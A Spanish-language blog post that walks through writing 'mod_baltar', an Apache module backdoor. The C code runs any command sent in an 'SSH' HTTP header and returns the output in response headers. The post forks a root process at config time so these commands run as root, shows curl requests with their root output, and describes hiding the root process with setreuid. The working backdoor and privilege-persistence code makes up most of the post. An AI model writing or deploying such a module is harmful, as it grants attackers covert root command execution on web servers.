Ejecución de comandos mediante headers HTTP: mod_baltar
Anteriormente vimos como programar un módulo de apache simple. Hoy vamos a ver como añadir y quitar headers mediante un modulo con apr_table_get y apr_table_set y un ejemplo de módulo (mod_baltar) como mediante un header en la petición HTTP podemos mandar comandos y recibir los resultados ejecutados tanto como usuario apache como usuario root.
Para obtener y definir headers en el proceso de una petición HTTP podemos usar las siguientes tablas de la estructura “request_rec“:
- headers_in: Contiene los headers que ha mandado el cliente.
- headers_out: Permite añadir headers a la respuesta que se le va a mandar al cliente.
Para obtener los headers simplemente se debe especificar la tabla y el nombre del headers que queremos obtener:
apr_table_get(r->headers_in,"Content-type");
Esto nos va a devolver un const char * al contenido del header. En el caso de querer añadir headers es equivalente pasando dos parámetros: Nombre del header y contenido del header:
apr_table_set(r->headers_out,"Ejemplo","header ejemplo");
Esto daría como resultado un header como este en la respuesta que recibiría el cliente:
Ejemplo: header ejemplo
La verdad es que tiene poca gracia si el servidor no contesta nada, así que lo primero que se me ocurrió fue añadir un header para que el servidor lo ejecutase y me devolviera mediante headers el resultado del comando usando popen:
fpipe = (FILE*)popen("ls","r");
He quitado partes del código por brevedad y por evitar un mal uso del mismo:
static int six_code (request_rec *r)
{
const char *ssh_header;
FILE *fpipe;
char line[256];
char setheader[256];
int count=0;
ssh_header=apr_table_get(r->headers_in,"SSH");
if(ssh_header!=NULL)
{
fprintf(stderr,"SSH: %s.\n",ssh_header);
fflush(stderr);
if( !(fpipe = (FILE*)popen(ssh_header,"r")) )
{
return DECLINED;
}
while ( fgets( line, sizeof line, fpipe))
{
sprintf(setheader,"CMD-%d",++count);
char *lolifizer=line;
while(*(lolifizer++)!=NULL)
{
if(*lolifizer=='\n') *lolifizer=' ';
}
apr_table_set(r->headers_out, setheader, line);
}
pclose(fpipe);
apr_table_set(r->headers_out,"SSHout",ssh_header);
}
return DECLINED;
}
static void register_hooks(apr_pool_t *p)
{
ap_hook_handler(six_code, NULL, NULL, APR_HOOK_MIDDLE);
}
Dicho código se ejecuta con los mismos permisos que tiene el apache, por lo que si mandamos un id veremos el usuario:
# curl -I localhost -H 'SSH: id' HTTP/1.1 200 OK Date: Fri, 11 Dec 2009 07:37:02 GMT Server: Apache CMD-1: uid=502(apache) gid=502(apache) groups=502(apache) SSHout: id Last-Modified: Fri, 23 May 2008 19:19:11 GMT ETag: "5b813e-2d6-44de5acee71c0" Accept-Ranges: bytes Content-Length: 726 Content-Type: text/html
¿Es este el máximo nivel de privilegios que se puede obtener mediante un módulo de apache?
Generalmente se ejecuta el apache como root para “bindearse” al puerto 80 y luego rebajar los privilegios de los “apachitos” (procesos encargados de servir peticiones) a otro usuario.
Mientras lee la configuración el apache también se esta ejecutando como root, por lo que podríamos aprovechar para ejecutar comandos como root. Para ello simplemente debemos añadir un hook:
ap_hook_post_config(sixs_code_config, NULL, NULL, APR_HOOK_FIRST);
Y en él ejecutar un id para comprobar como se ejecuta como root:
static int sixs_code_config(apr_pool_t *p, apr_pool_t *log, apr_pool_t *temp, server_rec *s)
{
system("id >/tmp/id_apache_baltar");
return OK;
}
Como no podemos mandar la respuesta simplemente la guardamos en el /tmp:
# cat /tmp/id_apache_baltar uid=0(root) gid=0(root)
Una vez tenemos privilegios de root, ya se transforma en un ejercicio de programación crear un apache con privilegios de root y comunicarse mediante pipes con los apachitos que sirven peticiones.
Primero deberemos definir algunas variables globales:
int pipe_commands[2]; int pipe_results[2]; #define BUFFSIZE 256 char buff[BUFFSIZE]; const char *userdata_key = "gaius_baltar"; const char *key_pipe_command_read = "gaius_baltar_command_read"; const char *key_pipe_results_write = "gaius_baltar_results_write"; const char *key_ipc_rwlock = "gaius_baltar_lock_ipc"; const char *magic_end_of_file = "gaius_baltar_eof_magic";
A continuación lo que se puede hacer es mediante un fork crear un proceso con privilegios de root en el proceso de leer la configuración y comunicarse el resto de apaches mediante un par de pipes. Una pipe se puede usar para mandar comandos desde el apachito al apache con privilegios de root (aparootito) y otra para mandar los resultatos desde el aparootito al apachito:
static int sixs_code_config(apr_pool_t *p, apr_pool_t *log, apr_pool_t *temp, server_rec *s)
{
void *data=NULL;
void *pipedata=NULL;
FILE *fpipe;
const char *tempdir;
apr_pool_userdata_get(&data, userdata_key, s->process->pool);
if(data)
{
apr_pool_userdata_get(&pipe_commands[1], key_pipe_command_read , s->process->pool);
apr_pool_userdata_get(&pipe_results[0], key_pipe_results_write, s->process->pool);
return OK;
}
apr_pool_userdata_set((const void *)1, userdata_key, apr_pool_cleanup_null, s->process->pool);
pipe(pipe_commands);
pipe(pipe_results);
apr_pool_userdata_set((const void *)pipe_commands[1], key_pipe_command_read , apr_pool_cleanup_null, s->process->pool);
apr_pool_userdata_set((const void *) pipe_results[0], key_pipe_results_write, apr_pool_cleanup_null, s->process->pool);
if(fork())
{
//papi
close(pipe_commands[0]); //no cal lectura
close(pipe_results[1]); //no cal escritura
return OK;
}
else
{
//aparootito
close(pipe_commands[1]); //no cal escritura
close(pipe_results[0]); //no cal lectura
for(;;)
{
int bytes;
while((bytes=read(pipe_commands[0],buff,BUFFSIZE))>0)
{
if( !(fpipe = (FILE*)popen(buff,"r")) )
continue;
char line[BUFFSIZE];
while ( fgets( line, sizeof(line), fpipe))
{
int result_write=0;
result_write=write(pipe_results[1],line,strlen(line)+1);
}
write(pipe_results[1],magic_end_of_file,strlen(magic_end_of_file)+1);
pclose(fpipe);
}
}
}
return OK;
}
Por otro lado debemos añadir el código encargado de leer el comando (como usuario apache) y mandarlo al aparootito para que se ejecute como root:
static int sixs_code (request_rec *r)
{
const char *ssh_header;
char line[BUFFSIZE];
char frak;
char setheader[BUFFSIZE];
int count=0;
int linecount=0;
ssh_header=apr_table_get(r->headers_in,"SSH");
if(ssh_header!=NULL)
{
fprintf(stderr,"SSH: %s.\n",ssh_header);
int bytes=0;
while((bytes=read(pipe_results[0],&frak,1))>0)
{
if(frak!=0)
{
line[count]=frak;
count++;
continue;
}
line[count]=0;
count=0;
sprintf(setheader,"CMD-%d",++linecount);
if(strcmp(line,(char *)magic_end_of_file)==0)
break;
char *lol=line;
while(*(++lol)!=NULL)
{
if(*lol=='\n') *lol=' ';
}
apr_table_set(r->headers_out, setheader, line);
}
apr_table_set(r->headers_out,"SSHout",ssh_header);
}
fflush(stderr);
return DECLINED;
}
A continuación con el modulo cargado podemos mandar un id y veremos como el comando se ejecuta como root:
# curl -I localhost -H 'SSH: id' HTTP/1.1 200 OK Date: Mon, 14 Dec 2009 06:56:57 GMT Server: Apache CMD-1: uid=0(root) gid=0(root) SSHout: id Last-Modified: Fri, 23 May 2008 19:19:11 GMT ETag: "5b813e-2d6-44de5acee71c0" Accept-Ranges: bytes Content-Length: 726 Content-Type: text/html
En la lista de procesos podremos ver claramente como hay dos procesos apache ejecutándose como root:
root 3974 0.0 0.3 4088 2056 ? Ss 21:33 0:00 | \_ /usr/local/apache22/bin/httpd -DNO_DETACH root 3977 0.0 0.1 3888 628 ? S 21:33 0:00 | \_ /usr/local/apache22/bin/httpd -DNO_DETACH apache 3978 0.0 0.3 4092 1812 ? S 21:33 0:00 | \_ /usr/local/apache22/bin/httpd -DNO_DETACH apache 3979 0.0 0.3 4092 1812 ? S 21:33 0:00 | \_ /usr/local/apache22/bin/httpd -DNO_DETACH apache 3980 0.0 0.3 4092 1812 ? S 21:33 0:00 | \_ /usr/local/apache22/bin/httpd -DNO_DETACH apache 3981 0.0 0.3 4092 1812 ? S 21:33 0:00 | \_ /usr/local/apache22/bin/httpd -DNO_DETACH apache 3982 0.0 0.3 4092 1812 ? S 21:33 0:00 | \_ /usr/local/apache22/bin/httpd -DNO_DETACH
Resulta evidente la presencia de “algo raro“, pero esto no tiene porque ser así, se puede ocultar muy fácilmente mediante setreuid.
Podemos ver un ejemplo en el siguiente código:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
printf("RUID=%d, EUID=%d\n",getuid(),geteuid());
setreuid (0,502);
printf("RUID=%d, EUID=%d\n",getuid(),geteuid());
setreuid (0,0);
printf("RUID=%d, EUID=%d\n",getuid(),geteuid());
return 0;
}
Su salida sería la siguiente:
# ./a.out RUID=0, EUID=0 RUID=0, EUID=502 RUID=0, EUID=0
Si ponemos un sleep después de setreuid(0,502) podremos ver como el proceso como si fuera del usuario apache:
apache 1196 25990 15 11:57 pts/0 00:00:01 ./a.out
Se podría integrar fácilmente, pero voy a dejar el mod_baltar aquí. Ya ha sido un fin de semana suficientemente entretenido
Relacionados
Imprimir
Deja un comentario: